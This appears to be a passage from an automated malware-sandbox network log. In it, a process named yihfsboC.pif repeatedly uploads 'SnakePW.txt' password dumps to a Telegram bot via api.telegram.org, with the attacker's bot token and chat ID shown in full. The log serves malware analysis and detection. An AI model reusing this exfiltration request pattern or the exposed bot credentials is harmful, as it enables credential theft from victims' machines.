2024-11-26 07:26:09 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 36 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388957,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605969,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49933	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:10 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f63476ff6d9 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:10 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 36 33 34 37 36 66 66 36 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f63476ff6d9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:11 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:11 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388959,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605971,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49935	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:10 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f6f3c5dd29e Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:10 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 36 66 33 63 35 64 64 32 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f6f3c5dd29eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:11 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:11 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388961,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605971,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	49936	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:10 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd10047244b21a Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:10 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 30 34 37 32 34 34 62 32 31 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd10047244b21aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:11 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:11 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388962,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605971,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49941	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:12 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f76f31b176f Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:12 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 37 36 66 33 31 62 31 37 36 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f76f31b176fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:13 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:13 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388965,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605973,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49942	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:12 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f82c2b37b8e Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:12 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 38 32 63 32 62 33 37 62 38 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f82c2b37b8eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:13 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:13 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388967,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605973,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	49943	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:12 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd101cbc07fa5f Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:12 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 31 63 62 63 30 37 66 61 35 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd101cbc07fa5fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:13 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:13 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388969,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605973,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	49948	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:14 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f8fc54b4863 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:14 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 38 66 63 35 34 62 34 38 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f8fc54b4863Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:15 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:15 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388971,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605975,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	49949	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
